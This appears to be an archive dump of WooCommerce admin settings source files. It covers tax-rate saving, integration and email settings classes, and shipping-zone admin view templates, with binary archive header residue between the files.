	 * @param string $class Tax class for rate.
	 * @return array
	 */
	private function get_posted_tax_rate( $key, $order, $class ) {
		// phpcs:disable WordPress.Security.NonceVerification.Missing -- this is called from 'save_tax_rates' only, where nonce is already verified.
		$tax_rate      = array();
		$tax_rate_keys = array(
			'tax_rate_country',
			'tax_rate_state',
			'tax_rate',
			'tax_rate_name',
			'tax_rate_priority',
		);

		// phpcs:disable WordPress.Security.NonceVerification.Missing
		foreach ( $tax_rate_keys as $tax_rate_key ) {
			if ( isset( $_POST[ $tax_rate_key ], $_POST[ $tax_rate_key ][ $key ] ) ) {
				$tax_rate[ $tax_rate_key ] = wc_clean( wp_unslash( $_POST[ $tax_rate_key ][ $key ] ) );
			}
		}

		$tax_rate['tax_rate_compound'] = isset( $_POST['tax_rate_compound'][ $key ] ) ? 1 : 0;
		$tax_rate['tax_rate_shipping'] = isset( $_POST['tax_rate_shipping'][ $key ] ) ? 1 : 0;
		$tax_rate['tax_rate_order']    = $order;
		$tax_rate['tax_rate_class']    = $class;
		// phpcs:enable WordPress.Security.NonceVerification.Missing

		return $tax_rate;
		// phpcs:enable WordPress.Security.NonceVerification.Missing
	}

	/**
	 * Save tax rates.
	 */
	public function save_tax_rates() {
		// phpcs:disable WordPress.Security.NonceVerification.Missing -- this is called via "do_action('woocommerce_settings_save_'...") in base class, where nonce is verified first.
		global $wpdb;

		$current_class = sanitize_title( $this->get_current_tax_class() );
		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.NonceVerification.Missing
		$posted_countries = wc_clean( wp_unslash( $_POST['tax_rate_country'] ) );

		// get the tax rate id of the first submited row.
		$first_tax_rate_id = key( $posted_countries );

		// get the order position of the first tax rate id.
		$tax_rate_order = absint( $wpdb->get_var( $wpdb->prepare( "SELECT tax_rate_order FROM {$wpdb->prefix}woocommerce_tax_rates WHERE tax_rate_id = %s", $first_tax_rate_id ) ) );

		$index = isset( $tax_rate_order ) ? $tax_rate_order : 0;

		// Loop posted fields.
		// phpcs:disable WordPress.Security.NonceVerification.Missing
		foreach ( $posted_countries as $key => $value ) {
			$mode     = ( 0 === strpos( $key, 'new-' ) ) ? 'insert' : 'update';
			$tax_rate = $this->get_posted_tax_rate( $key, $index ++, $current_class );

			if ( 'insert' === $mode ) {
				$tax_rate_id = WC_Tax::_insert_tax_rate( $tax_rate );
			} elseif ( isset( $_POST['remove_tax_rate'][ $key ] ) && 1 === absint( $_POST['remove_tax_rate'][ $key ] ) ) {
				$tax_rate_id = absint( $key );
				WC_Tax::_delete_tax_rate( $tax_rate_id );
				continue;
			} else {
				$tax_rate_id = absint( $key );
				WC_Tax::_update_tax_rate( $tax_rate_id, $tax_rate );
			}

			if ( isset( $_POST['tax_rate_postcode'][ $key ] ) ) {
				WC_Tax::_update_tax_rate_postcodes( $tax_rate_id, wc_clean( wp_unslash( $_POST['tax_rate_postcode'][ $key ] ) ) );
			}
			if ( isset( $_POST['tax_rate_city'][ $key ] ) ) {
				WC_Tax::_update_tax_rate_cities( $tax_rate_id, wc_clean( wp_unslash( $_POST['tax_rate_city'][ $key ] ) ) );
			}
		}
		// phpcs:enable WordPress.Security.NonceVerification.Missing
	}
}

return new WC_Settings_Tax();
PK�3\A� \xx+settings/class-wc-settings-integrations.phpnu�[���<?php
/**
 * WooCommerce Integration Settings
 *
 * @package     WooCommerce\Admin
 * @version     2.1.0
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'WC_Settings_Integrations', false ) ) :

	/**
	 * WC_Settings_Integrations.
	 */
	class WC_Settings_Integrations extends WC_Settings_Page {

		/**
		 * Constructor.
		 */
		public function __construct() {
			$this->id    = 'integration';
			$this->label = __( 'Integration', 'woocommerce' );

			if ( isset( WC()->integrations ) && WC()->integrations->get_integrations() ) {
				parent::__construct();
			}
		}

		/**
		 * Get own sections.
		 *
		 * @return array
		 */
		protected function get_own_sections() {
			global $current_section;

			$sections = array();

			if ( ! $this->wc_is_installing() ) {
				$integrations = $this->get_integrations();

				if ( ! $current_section && ! empty( $integrations ) ) {
					$current_section = current( $integrations )->id;
				}

				if ( count( $integrations ) > 1 ) {
					foreach ( $integrations as $integration ) {
						$title                                      = empty( $integration->method_title ) ? ucfirst( $integration->id ) : $integration->method_title;
						$sections[ strtolower( $integration->id ) ] = esc_html( $title );
					}
				}
			}

			return $sections;
		}

		/**
		 * Is WC_INSTALLING constant defined?
		 * This method exists to ease unit testing.
		 *
		 * @return bool True is the WC_INSTALLING constant is defined.
		 */
		protected function wc_is_installing() {
			return Constants::is_defined( 'WC_INSTALLING' );
		}

		/**
		 * Get the currently available integrations.
		 * This method exists to ease unit testing.
		 *
		 * @return array Currently available integrations.
		 */
		protected function get_integrations() {
			return WC()->integrations->get_integrations();
		}

		/**
		 * Output the settings.
		 */
		public function output() {
			global $current_section;

			$integrations = $this->get_integrations();

			if ( isset( $integrations[ $current_section ] ) ) {
				$integrations[ $current_section ]->admin_options();
			}
		}
	}

endif;

return new WC_Settings_Integrations();
PK�3\3��'�/�/%settings/class-wc-settings-emails.phpnu�[���<?php
/**
 * WooCommerce Email Settings
 *
 * @package WooCommerce\Admin
 * @version 2.1.0
 */

defined( 'ABSPATH' ) || exit;

if ( class_exists( 'WC_Settings_Emails', false ) ) {
	return new WC_Settings_Emails();
}

/**
 * WC_Settings_Emails.
 */
class WC_Settings_Emails extends WC_Settings_Page {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->id    = 'email';
		$this->label = __( 'Emails', 'woocommerce' );

		add_action( 'woocommerce_admin_field_email_notification', array( $this, 'email_notification_setting' ) );
		parent::__construct();
	}

	/**
	 * Get own sections.
	 *
	 * @return array
	 */
	protected function get_own_sections() {
		return array(
			'' => __( 'Email options', 'woocommerce' ),
		);
	}

	/**
	 * Get settings array.
	 *
	 * @return array
	 */
	protected function get_settings_for_default_section() {
		$desc_help_text = sprintf(
		/* translators: %1$s: Link to WP Mail Logging plugin, %2$s: Link to Email FAQ support page. */
			__( 'To ensure your store&rsquo;s notifications arrive in your and your customers&rsquo; inboxes, we recommend connecting your email address to your domain and setting up a dedicated SMTP server. If something doesn&rsquo;t seem to be sending correctly, install the <a href="%1$s">WP Mail Logging Plugin</a> or check the <a href="%2$s">Email FAQ page</a>.', 'woocommerce' ),
			'https://wordpress.org/plugins/wp-mail-logging/',
			'https://docs.woocommerce.com/document/email-faq'
		);
		$settings =
			array(
				array(
					'title' => __( 'Email notifications', 'woocommerce' ),
					/* translators: %s: help description with link to WP Mail logging and support page. */
					'desc'  => sprintf( __( 'Email notifications sent from WooCommerce are listed below. Click on an email to configure it.<br>%s', 'woocommerce' ), $desc_help_text ),
					'type'  => 'title',
					'id'    => 'email_notification_settings',
				),

				array( 'type' => 'email_notification' ),

				array(
					'type' => 'sectionend',
					'id'   => 'email_notification_settings',
				),

				array(
					'type' => 'sectionend',
					'id'   => 'email_recipient_options',
				),

				array(
					'title' => __( 'Email sender options', 'woocommerce' ),
					'type'  => 'title',
					'desc'  => '',
					'id'    => 'email_options',
				),

				array(
					'title'    => __( '"From" name', 'woocommerce' ),
					'desc'     => __( 'How the sender name appears in outgoing WooCommerce emails.', 'woocommerce' ),
					'id'       => 'woocommerce_email_from_name',
					'type'     => 'text',
					'css'      => 'min-width:400px;',
					'default'  => esc_attr( get_bloginfo( 'name', 'display' ) ),
					'autoload' => false,
					'desc_tip' => true,
				),

				array(
					'title'             => __( '"From" address', 'woocommerce' ),
					'desc'              => __( 'How the sender email appears in outgoing WooCommerce emails.', 'woocommerce' ),
					'id'                => 'woocommerce_email_from_address',
					'type'              => 'email',
					'custom_attributes' => array(
						'multiple' => 'multiple',
					),
					'css'               => 'min-width:400px;',
					'default'           => get_option( 'admin_email' ),
					'autoload'          => false,
					'desc_tip'          => true,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'email_options',
				),

				array(
					'title' => __( 'Email template', 'woocommerce' ),
					'type'  => 'title',
					/* translators: %s: Nonced email preview link */
					'desc'  => sprintf( __( 'This section lets you customize the WooCommerce emails. <a href="%s" target="_blank">Click here to preview your email template</a>.', 'woocommerce' ), wp_nonce_url( admin_url( '?preview_woocommerce_mail=true' ), 'preview-mail' ) ),
					'id'    => 'email_template_options',
				),

				array(
					'title'       => __( 'Header image', 'woocommerce' ),
					'desc'        => __( 'URL to an image you want to show in the email header. Upload images using the media uploader (Admin > Media).', 'woocommerce' ),
					'id'          => 'woocommerce_email_header_image',
					'type'        => 'text',
					'css'         => 'min-width:400px;',
					'placeholder' => __( 'N/A', 'woocommerce' ),
					'default'     => '',
					'autoload'    => false,
					'desc_tip'    => true,
				),

				array(
					'title'       => __( 'Footer text', 'woocommerce' ),
					/* translators: %s: Available placeholders for use */
					'desc'        => __( 'The text to appear in the footer of all WooCommerce emails.', 'woocommerce' ) . ' ' . sprintf( __( 'Available placeholders: %s', 'woocommerce' ), '{site_title} {site_url}' ),
					'id'          => 'woocommerce_email_footer_text',
					'css'         => 'width:400px; height: 75px;',
					'placeholder' => __( 'N/A', 'woocommerce' ),
					'type'        => 'textarea',
					'default'     => '{site_title} &mdash; Built with {WooCommerce}',
					'autoload'    => false,
					'desc_tip'    => true,
				),

				array(
					'title'    => __( 'Base color', 'woocommerce' ),
					/* translators: %s: default color */
					'desc'     => sprintf( __( 'The base color for WooCommerce email templates. Default %s.', 'woocommerce' ), '<code>#96588a</code>' ),
					'id'       => 'woocommerce_email_base_color',
					'type'     => 'color',
					'css'      => 'width:6em;',
					'default'  => '#96588a',
					'autoload' => false,
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Background color', 'woocommerce' ),
					/* translators: %s: default color */
					'desc'     => sprintf( __( 'The background color for WooCommerce email templates. Default %s.', 'woocommerce' ), '<code>#f7f7f7</code>' ),
					'id'       => 'woocommerce_email_background_color',
					'type'     => 'color',
					'css'      => 'width:6em;',
					'default'  => '#f7f7f7',
					'autoload' => false,
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Body background color', 'woocommerce' ),
					/* translators: %s: default color */
					'desc'     => sprintf( __( 'The main body background color. Default %s.', 'woocommerce' ), '<code>#ffffff</code>' ),
					'id'       => 'woocommerce_email_body_background_color',
					'type'     => 'color',
					'css'      => 'width:6em;',
					'default'  => '#ffffff',
					'autoload' => false,
					'desc_tip' => true,
				),

				array(
					'title'    => __( 'Body text color', 'woocommerce' ),
					/* translators: %s: default color */
					'desc'     => sprintf( __( 'The main body text color. Default %s.', 'woocommerce' ), '<code>#3c3c3c</code>' ),
					'id'       => 'woocommerce_email_text_color',
					'type'     => 'color',
					'css'      => 'width:6em;',
					'default'  => '#3c3c3c',
					'autoload' => false,
					'desc_tip' => true,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'email_template_options',
				),

				array(
					'title' => __( 'Store management insights', 'woocommerce' ),
					'type'  => 'title',
					'id'    => 'email_merchant_notes',
				),

				array(
					'title'         => __( 'Enable email insights', 'woocommerce' ),
					'desc'          => __( 'Receive email notifications with additional guidance to complete the basic store setup and helpful insights', 'woocommerce' ),
					'id'            => 'woocommerce_merchant_email_notifications',
					'type'          => 'checkbox',
					'checkboxgroup' => 'start',
					'default'       => 'no',
					'autoload'      => false,
				),

				array(
					'type' => 'sectionend',
					'id'   => 'email_merchant_notes',
				),
			);

		return apply_filters( 'woocommerce_email_settings', $settings );
	}

	/**
	 * Output the settings.
	 */
	public function output() {
		global $current_section;

		// Define emails that can be customised here.
		$mailer          = WC()->mailer();
		$email_templates = $mailer->get_emails();

		if ( $current_section ) {
			foreach ( $email_templates as $email_key => $email ) {
				if ( strtolower( $email_key ) === $current_section ) {
					$this->run_email_admin_options( $email );
					break;
				}
			}
		}

		parent::output();
	}

	/**
	 * Run the 'admin_options' method on a given email.
	 * This method exists to easy unit testing.
	 *
	 * @param object $email The email object to run the method on.
	 */
	protected function run_email_admin_options( $email ) {
		$email->admin_options();
	}

	/**
	 * Save settings.
	 */
	public function save() {
		global $current_section;

		if ( ! $current_section ) {
			$this->save_settings_for_current_section();
			$this->do_update_options_action();
		} else {
			$wc_emails = WC_Emails::instance();

			if ( in_array( $current_section, array_map( 'sanitize_title', array_keys( $wc_emails->get_emails() ) ), true ) ) {
				foreach ( $wc_emails->get_emails() as $email_id => $email ) {
					if ( sanitize_title( $email_id ) === $current_section ) {
						$this->do_update_options_action( $email->id );
					}
				}
			} else {
				$this->save_settings_for_current_section();
				$this->do_update_options_action();
			}
		}
	}

	/**
	 * Output email notification settings.
	 */
	public function email_notification_setting() {
		// Define emails that can be customised here.
		$mailer          = WC()->mailer();
		$email_templates = $mailer->get_emails();

		?>
		<tr valign="top">
		<td class="wc_emails_wrapper" colspan="2">
			<table class="wc_emails widefat" cellspacing="0">
				<thead>
					<tr>
						<?php
						$columns = apply_filters(
							'woocommerce_email_setting_columns',
							array(
								'status'     => '',
								'name'       => __( 'Email', 'woocommerce' ),
								'email_type' => __( 'Content type', 'woocommerce' ),
								'recipient'  => __( 'Recipient(s)', 'woocommerce' ),
								'actions'    => '',
							)
						);
						foreach ( $columns as $key => $column ) {
							echo '<th class="wc-email-settings-table-' . esc_attr( $key ) . '">' . esc_html( $column ) . '</th>';
						}
						?>
						</tr>
					</thead>
					<tbody>
						<?php
						foreach ( $email_templates as $email_key => $email ) {
							echo '<tr>';

							foreach ( $columns as $key => $column ) {

								switch ( $key ) {
									case 'name':
										echo '<td class="wc-email-settings-table-' . esc_attr( $key ) . '">
										<a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=email&section=' . strtolower( $email_key ) ) ) . '">' . esc_html( $email->get_title() ) . '</a>
										' . wc_help_tip( $email->get_description() ) . '
									</td>';
										break;
									case 'recipient':
										echo '<td class="wc-email-settings-table-' . esc_attr( $key ) . '">
										' . esc_html( $email->is_customer_email() ? __( 'Customer', 'woocommerce' ) : $email->get_recipient() ) . '
									</td>';
										break;
									case 'status':
										echo '<td class="wc-email-settings-table-' . esc_attr( $key ) . '">';

										if ( $email->is_manual() ) {
											echo '<span class="status-manual tips" data-tip="' . esc_attr__( 'Manually sent', 'woocommerce' ) . '">' . esc_html__( 'Manual', 'woocommerce' ) . '</span>';
										} elseif ( $email->is_enabled() ) {
											echo '<span class="status-enabled tips" data-tip="' . esc_attr__( 'Enabled', 'woocommerce' ) . '">' . esc_html__( 'Yes', 'woocommerce' ) . '</span>';
										} else {
											echo '<span class="status-disabled tips" data-tip="' . esc_attr__( 'Disabled', 'woocommerce' ) . '">-</span>';
										}

										echo '</td>';
										break;
									case 'email_type':
										echo '<td class="wc-email-settings-table-' . esc_attr( $key ) . '">
										' . esc_html( $email->get_content_type() ) . '
									</td>';
										break;
									case 'actions':
										echo '<td class="wc-email-settings-table-' . esc_attr( $key ) . '">
										<a class="button alignright" href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=email&section=' . strtolower( $email_key ) ) ) . '">' . esc_html__( 'Manage', 'woocommerce' ) . '</a>
									</td>';
										break;
									default:
										do_action( 'woocommerce_email_setting_column_' . $key, $email );
										break;
								}
							}

							echo '</tr>';
						}
						?>
					</tbody>
				</table>
			</td>
		</tr>
		<?php
	}
}

return new WC_Settings_Emails();
PK�3\Ag�991settings/views/html-admin-page-shipping-zones.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>

<h2 class="wc-shipping-zones-heading">
	<?php _e( 'Shipping zones', 'woocommerce' ); ?>
	<a href="<?php echo admin_url( 'admin.php?page=wc-settings&tab=shipping&zone_id=new' ); ?>" class="page-title-action"><?php esc_html_e( 'Add shipping zone', 'woocommerce' ); ?></a>
</h2>
<p><?php echo __( 'A shipping zone is a geographic region where a certain set of shipping methods are offered.', 'woocommerce' ) . ' ' . __( 'WooCommerce will match a customer to a single zone using their shipping address and present the shipping methods within that zone to them.', 'woocommerce' ); ?></p>
<table class="wc-shipping-zones widefat">
	<thead>
		<tr>
			<th class="wc-shipping-zone-sort"><?php echo wc_help_tip( __( 'Drag and drop to re-order your custom zones. This is the order in which they will be matched against the customer address.', 'woocommerce' ) ); ?></th>
			<th class="wc-shipping-zone-name"><?php esc_html_e( 'Zone name', 'woocommerce' ); ?></th>
			<th class="wc-shipping-zone-region"><?php esc_html_e( 'Region(s)', 'woocommerce' ); ?></th>
			<th class="wc-shipping-zone-methods"><?php esc_html_e( 'Shipping method(s)', 'woocommerce' ); ?></th>
		</tr>
	</thead>
	<tbody class="wc-shipping-zone-rows"></tbody>
	<tbody>
		<tr data-id="0" class="wc-shipping-zone-worldwide">
			<td width="1%" class="wc-shipping-zone-worldwide"></td>
			<td class="wc-shipping-zone-name">
				<a href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping&zone_id=0' ) ); ?>"><?php esc_html_e( 'Locations not covered by your other zones', 'woocommerce' ); ?></a>
				<div class="row-actions">
					<a href="admin.php?page=wc-settings&amp;tab=shipping&amp;zone_id=0"><?php _e( 'Manage shipping methods', 'woocommerce' ); ?></a>
				</div>
			</td>
			<td class="wc-shipping-zone-region"><?php _e( 'This zone is <b>optionally</b> used for regions that are not included in any other shipping zone.', 'woocommerce' ); ?></td>
			<td class="wc-shipping-zone-methods">
				<ul>
					<?php
					$worldwide = new WC_Shipping_Zone( 0 );
					$methods   = $worldwide->get_shipping_methods();
					uasort( $methods, 'wc_shipping_zone_method_order_uasort_comparison' );

					if ( ! empty( $methods ) ) {
						foreach ( $methods as $method ) {
							$class_name = 'yes' === $method->enabled ? 'method_enabled' : 'method_disabled';
							echo '<li class="wc-shipping-zone-method ' . esc_attr( $class_name ) . '">' . esc_html( $method->get_title() ) . '</li>';
						}
					} else {
						echo '<li class="wc-shipping-zone-method">' . __( 'No shipping methods offered to this zone.', 'woocommerce' ) . '</li>';
					}
					?>
				</ul>
			</td>
		</tr>
	</tbody>
</table>

<script type="text/html" id="tmpl-wc-shipping-zone-row-blank">
	<?php if ( 0 === $method_count ) : ?>
		<tr>
			<td class="wc-shipping-zones-blank-state" colspan="4">
				<p class="main"><?php _e( 'A shipping zone is a geographic region where a certain set of shipping methods and rates apply.', 'woocommerce' ); ?></p>
				<p><?php _e( 'For example:', 'woocommerce' ); ?></p>
				<ul>
					<li><?php _e( 'Local zone = California ZIP 90210 = Local pickup', 'woocommerce' ); ?>
					<li><?php _e( 'US domestic zone = All US states = Flat rate shipping', 'woocommerce' ); ?>
					<li><?php _e( 'Europe zone = Any country in Europe = Flat rate shipping', 'woocommerce' ); ?>
				</ul>
				<p><?php _e( 'Add as many zones as you need &ndash; customers will only see the methods available for their address.', 'woocommerce' ); ?></p>
				<a class="button button-primary wc-shipping-zone-add" href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping&zone_id=new' ) ); ?>"><?php _e( 'Add shipping zone', 'woocommerce' ); ?></a>
			</td>
		</tr>
	<?php endif; ?>
</script>

<script type="text/html" id="tmpl-wc-shipping-zone-row">
	<tr data-id="{{ data.zone_id }}">
		<td width="1%" class="wc-shipping-zone-sort"></td>
		<td class="wc-shipping-zone-name">
			<a href="admin.php?page=wc-settings&amp;tab=shipping&amp;zone_id={{ data.zone_id }}">{{ data.zone_name }}</a>
			<div class="row-actions">
				<a href="admin.php?page=wc-settings&amp;tab=shipping&amp;zone_id={{ data.zone_id }}"><?php _e( 'Edit', 'woocommerce' ); ?></a> | <a href="#" class="wc-shipping-zone-delete"><?php _e( 'Delete', 'woocommerce' ); ?></a>
			</div>
		</td>
		<td class="wc-shipping-zone-region">
			{{ data.formatted_zone_location }}
		</td>
		<td class="wc-shipping-zone-methods">
			<div><ul></ul></div>
		</td>
	</tr>
</script>

<script type="text/template" id="tmpl-wc-modal-add-shipping-method">
	<div class="wc-backbone-modal">
		<div class="wc-backbone-modal-content">
			<section class="wc-backbone-modal-main" role="main">
				<header class="wc-backbone-modal-header">
					<h1><?php _e( 'Add shipping method', 'woocommerce' ); ?></h1>
					<button class="modal-close modal-close-link dashicons dashicons-no-alt">
						<span class="screen-reader-text"><?php _e( 'Close modal panel', 'woocommerce' ); ?></span>
					</button>
				</header>
				<article>
					<form action="" method="post">
						<div class="wc-shipping-zone-method-selector">
							<p><?php esc_html_e( 'Choose the shipping method you wish to add. Only shipping methods which support zones are listed.', 'woocommerce' ); ?></p>

							<select name="add_method_id">
								<?php
								foreach ( WC()->shipping()->load_shipping_methods() as $method ) {
									if ( ! $method->supports( 'shipping-zones' ) ) {
										continue;
									}
									echo '<option data-description="' . esc_attr( wp_kses_post( wpautop( $method->get_method_description() ) ) ) . '" value="' . esc_attr( $method->id ) . '">' . esc_html( $method->get_method_title() ) . '</li>';
								}
								?>
							</select>
							<input type="hidden" name="zone_id" value="{{{ data.zone_id }}}" />
						</div>
					</form>
				</article>
				<footer>
					<div class="inner">
						<button id="btn-ok" class="button button-primary button-large"><?php _e( 'Add shipping method', 'woocommerce' ); ?></button>
					</div>
				</footer>
			</section>
		</div>
	</div>
	<div class="wc-backbone-modal-backdrop modal-close"></div>
</script>
PK�3\sP?��:settings/views/html-admin-page-shipping-zones-instance.phpnu�[���<?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>
<h2>
	<a href="<?php echo admin_url( 'admin.php?page=wc-settings&tab=shipping' ); ?>"><?php _e( 'Shipping zones', 'woocommerce' ); ?></a> &gt;
	<a href="<?php echo admin_url( 'admin.php?page=wc-settings&tab=shipping&zone_id=' . absint( $zone->get_id() ) ); ?>"><?php echo esc_html( $zone->get_zone_name() ); ?></a> &gt;
	<?php echo esc_html( $shipping_method->get_method_title() ); ?>
</h2>

<?php $shipping_method->admin_options(); ?>
PK�3\�Y��&�&8settings/views/html-admin-page-shipping-zone-methods.phpnu�[���<?php
/**
 * Shipping zone admin
 *
 * @package WooCommerce\Admin\Shipping
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
?>

<h2>
	<a href="<?php echo esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping' ) ); ?>"><?php esc_html_e( 'Shipping zones', 'woocommerce' ); ?></a> &gt;
	<span class="wc-shipping-zone-name"><?php echo esc_html( $zone->get_zone_name() ? $zone->get_zone_name() : __( 'Zone', 'woocommerce' ) ); ?></span>
</h2>

<?php do_action( 'woocommerce_shipping_zone_before_methods_table', $zone ); ?>

<table class="form-table wc-shipping-zone-settings">
	<tbody>
		<?php if ( 0 !== $zone->get_id() ) : ?>
			<tr valign="top" class="">
				<th scope="row" class="titledesc">
					<label for="zone_name">
						<?php esc_html_e( 'Zone name', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'This is the name of the zone for your reference.', 'woocommerce' ) ); // @codingStandardsIgnoreLine ?>
					</label>
				</th>
				<td class="forminp">
					<input type="text" data-attribute="zone_name" name="zone_name" id="zone_name" value="<?php echo esc_attr( $zone->get_zone_name( 'edit' ) ); ?>" placeholder="<?php esc_attr_e( 'Zone name', 'woocommerce' ); ?>">
				</td>
			</tr>
			<tr valign="top" class="">
				<th scope="row" class="titledesc">
					<label for="zone_locations">
						<?php esc_html_e( 'Zone regions', 'woocommerce' ); ?>
						<?php echo wc_help_tip( __( 'These are regions inside this zone. Customers will be matched against these regions.', 'woocommerce' ) ); // @codingStandardsIgnoreLine ?>
					</label>
				</th>
				<td class="forminp">
					<select multiple="multiple" data-attribute="zone_locations" id="zone_locations" name="zone_locations" data-placeholder="<?php esc_attr_e( 'Select regions within this zone', 'woocommerce' ); ?>" class="wc-shipping-zone-region-select chosen_select">
						<?php
						foreach ( $shipping_continents as $continent_code => $continent ) {
							echo '<option value="continent:' . esc_attr( $continent_code ) . '"' . wc_selected( "continent:$continent_code", $locations ) . '>' . esc_html( $continent['name'] ) . '</option>';

							$countries = array_intersect( array_keys( $allowed_countries ), $continent['countries'] );

							foreach ( $countries as $country_code ) {
								echo '<option value="country:' . esc_attr( $country_code ) . '"' . wc_selected( "country:$country_code", $locations ) . '>' . esc_html( '&nbsp;&nbsp; ' . $allowed_countries[ $country_code ] ) . '</option>';

								$states = WC()->countries->get_states( $country_code );

								if ( $states ) {
									foreach ( $states as $state_code => $state_name ) {
										echo '<option value="state:' . esc_attr( $country_code . ':' . $state_code ) . '"' . wc_selected( "state:$country_code:$state_code", $locations ) . '>' . esc_html( '&nbsp;&nbsp;&nbsp;&nbsp; ' . $state_name . ', ' . $allowed_countries[ $country_code ] ) . '</option>';
									}
								}
							}
						}
						?>
					</select>
					<?php if ( empty( $postcodes ) ) : ?>
						<a class="wc-shipping-zone-postcodes-toggle" href="#"><?php esc_html_e( 'Limit to specific ZIP/postcodes', 'woocommerce' ); ?></a>
					<?php endif; ?>
					<div class="wc-shipping-zone-postcodes">
						<textarea name="zone_postcodes" data-attribute="zone_postcodes" id="zone_postcodes" placeholder="<?php esc_attr_e( 'List 1 postcode per line', 'woocommerce' ); ?>" class="input-text large-text" cols="25" rows="5"><?php echo esc_textarea( implode( "\n", $postcodes ) ); ?></textarea>
						<?php /* translators: WooCommerce link to setting up shipping zones */ ?>
						<span class="description"><?php printf( __( 'Postcodes containing wildcards (e.g. CB23*) or fully numeric ranges (e.g. <code>90210...99000</code>) are also supported. Please see the shipping zones <a href="%s" target="_blank">documentation</a> for more information.', 'woocommerce' ), 'https://docs.woocommerce.com/document/setting-up-shipping-zones/#section-3' ); ?></span><?php // @codingStandardsIgnoreLine. ?>
					</div>
				</td>
			<?php endif; ?>
		</tr>
		<tr valign="top" class="">
			<th scope="row" class="titledesc">
				<label>
					<?php esc_html_e( 'Shipping methods', 'woocommerce' ); ?>
					<?php echo wc_help_tip( __( 'The following shipping methods apply to customers with shipping addresses within this zone.', 'woocommerce' ) ); // @codingStandardsIgnoreLine ?>
				</label>
			</th>
			<td class="">
				<table class="wc-shipping-zone-methods widefat">
					<thead>
						<tr>
							<th class="wc-shipping-zone-method-sort"></th>
							<th class="wc-shipping-zone-method-title"><?php esc_html_e( 'Title', 'woocommerce' ); ?></th>
							<th class="wc-shipping-zone-method-enabled"><?php esc_html_e( 'Enabled', 'woocommerce' ); ?></th>
							<th class="wc-shipping-zone-method-description"><?php esc_html_e( 'Description', 'woocommerce' ); ?></th>
						</tr>
					</thead>
					<tfoot>
						<tr>
							<td colspan="4">
								<button type="submit" class="button wc-shipping-zone-add-method" value="<?php esc_attr_e( 'Add shipping method', 'woocommerce' ); ?>"><?php esc_html_e( 'Add shipping method', 'woocommerce' ); ?></button>
							</td>
						</tr>
					</tfoot>
					<tbody class="wc-shipping-zone-method-rows"></tbody>
				</table>
			</td>
		</tr>
	</tbody>
</table>

<?php do_action( 'woocommerce_shipping_zone_after_methods_table', $zone ); ?>

<p class="submit">
	<button type="submit" name="submit" id="submit" class="button button-primary button-large wc-shipping-zone-method-save" value="<?php esc_attr_e( 'Save changes', 'woocommerce' ); ?>" disabled><?php esc_html_e( 'Save changes', 'woocommerce' ); ?></button>
</p>

<script type="text/html" id="tmpl-wc-shipping-zone-method-row-blank">
	<tr>
		<td class="wc-shipping-zone-method-blank-state" colspan="4">
			<p><?php esc_html_e( 'You can add multiple shipping methods within this zone. Only customers within the zone will see them.', 'woocommerce' ); ?></p>
		</td>
	</tr>
</script>

<script type="text/html" id="tmpl-wc-shipping-zone-method-row">
	<tr data-id="{{ data.instance_id }}" data-enabled="{{ data.enabled }}">
		<td width="1%" class="wc-shipping-zone-method-sort"></td>
		<td class="wc-shipping-zone-method-title">
			<a class="wc-shipping-zone-method-settings" href="admin.php?page=wc-settings&amp;tab=shipping&amp;instance_id={{ data.instance_id }}">{{{ data.title }}}</a>
			<div class="row-actions">
				<a class="wc-shipping-zone-method-settings" href="admin.php?page=wc-settings&amp;tab=shipping&amp;instance_id={{ data.instance_id }}"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a> | <a href="#" class="wc-shipping-zone-method-delete"><?php esc_html_e( 'Delete', 'woocommerce' ); ?></a>
			</div>
		</td>
		<td width="1%" class="wc-shipping-zone-method-enabled"><a href="#">{{{ data.enabled_icon }}}</a></td>
		<td class="wc-shipping-zone-method-description">
			<strong class="wc-shipping-zone-method-type">{{ data.method_title }}</strong>
			{{{ data.method_description }}}
		</td>
	</tr>
</script>

<script type="text/template" id="tmpl-wc-modal-shipping-method-settings">
	<div class="wc-backbone-modal wc-backbone-modal-shipping-method-settings">
		<div class="wc-backbone-modal-content">
			<section class="wc-backbone-modal-main" role="main">
				<header class="wc-backbone-modal-header">
					<h1>
						<?php
						printf(
							/* translators: %s: shipping method title */
							esc_html__( '%s Settings', 'woocommerce' ),
							'{{{ data.method.method_title }}}'
						);
						?>
					</h1>
					<button class="modal-close modal-close-link dashicons dashicons-no-alt">
						<span class="screen-reader-text"><?php esc_html_e( 'Close modal panel', 'woocommerce' ); ?></span>
					</button>
				</header>
				<article class="wc-modal-shipping-method-settings">
					<form action="" method="post">
						{{{ data.method.settings_html }}}
						<input type="hidden" name="instance_id" value="{{{ data.instance_id }}}" />
					</form>
				</article>
				<footer>
					<div class="inner">
						<button id="btn-ok" class="button button-primary button-large"><?php esc_html_e( 'Save changes', 'woocommerce' ); ?></button>
					</div>
				</footer>
			</section>
		</div>
	</div>
	<div class="wc-backbone-modal-backdrop modal-close"></div>
</script>

<script type="text/template" id="tmpl-wc-modal-add-shipping-method">
	<div class="wc-backbone-modal">
		<div class="wc-backbone-modal-content">
			<section class="wc-backbone-modal-main" role="main">
				<header class="wc-backbone-modal-header">
					<h1><?php esc_html_e( 'Add shipping method', 'woocommerce' ); ?></h1>
					<button class="modal-close modal-close-link dashicons dashicons-no-alt">
						<span class="screen-reader-text"><?php esc_html_e( 'Close modal panel', 'woocommerce' ); ?></span>
					</button>
				</header>
				<article>
					<form action="" method="post">
						<div class="wc-shipping-zone-method-selector">
